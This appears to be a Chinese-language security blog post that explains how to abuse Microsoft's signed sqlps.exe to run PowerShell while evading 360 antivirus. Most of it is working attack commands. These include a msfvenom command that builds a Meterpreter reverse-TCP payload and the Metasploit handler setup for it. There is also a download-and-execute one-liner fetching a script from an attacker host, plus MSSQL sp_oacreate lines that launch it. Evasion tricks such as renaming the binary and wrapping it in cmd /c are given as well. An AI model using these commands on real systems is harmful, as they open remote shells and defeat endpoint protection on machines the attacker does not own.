sqlps.exe白名單的利用(過S60!)
聲明:該公眾號大部分文章來自作者日常學習筆記,也有少部分文章是經過原作者授權和其他公眾號白名單轉載,未經授權,嚴禁轉載,如需轉載,聯系開白。 請勿利用文章內的相關技術從事非法測試,如因此產生的一切不良后果與文章作者和本公眾號無關。 |
0x01 sqlps.exe簡介
sqlps.exe是SQL Server附帶的一個具有Microsoft簽名的二進制文件,用于加載SQL Server cmdlet,Microsoft Visual C#開發,可用ILSpy反編譯查看源代碼。
Microsoft SQL Server\100和110是Powershell v2,120和130是Powershell v4。2016中已由SQLToolsPS.exe替換,但出于兼容性原因將包含在安裝中。
C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\sqlps.exeC:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\sqlps.exeC:\Program Files (x86)\Microsoft SQL Server\120\Tools\Binn\sqlps.exeC:\Program Files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exeC:\Program Files (x86)\Microsoft SQL Server\140\Tools\Binn\sqlps.exeC:\Program Files (x86)\Microsoft SQL Server\150\Tools\Binn\sqlps.exe

0x02 MSF監聽并執行
使用sqlps.exe執行360.ps1后會結束掉當前這個cmd.exe命令提示符,可能要延遲幾秒MSF才接收到會話信息。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 -f psh-reflection > /var/www/html/360.ps1 msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set lhost 192.168.1.120msf5 exploit(multi/handler) > set lport 443msf5 exploit(multi/handler) > exploit
sqlps執行上線:
SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"

0x03 繞過360防護執行
眾所周知360和火絨對powershell.exe進程的調用監控的非常嚴, sqlps.exe也有可能已經被360攔截了,如下圖。
已被攔截:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe'

但我們還是可以嘗試使用加殼、反編譯或者重命名和cmd /c等方式來繞過sqlps.exe的執行。
繞過方式:
SQLPS1 -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"cmd /c SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\ProgramData\SQLPS.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.1.120/360.ps1''))"'
0x04 注意事項
實戰中建議根據目標主機實際環境提取相對應版本的sqlps.exe,如單獨提取出來的sqlps.exe在執行時可能會出現缺少依賴項等問題,常見的有以下兩種報錯。


已測試的系統和sqlps.exe見下表,測試記錄見下圖。


0x05 參考鏈接
https://mp.weixin.qq.com/s/XkleeVDz80WZy4NZqXhEfA
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/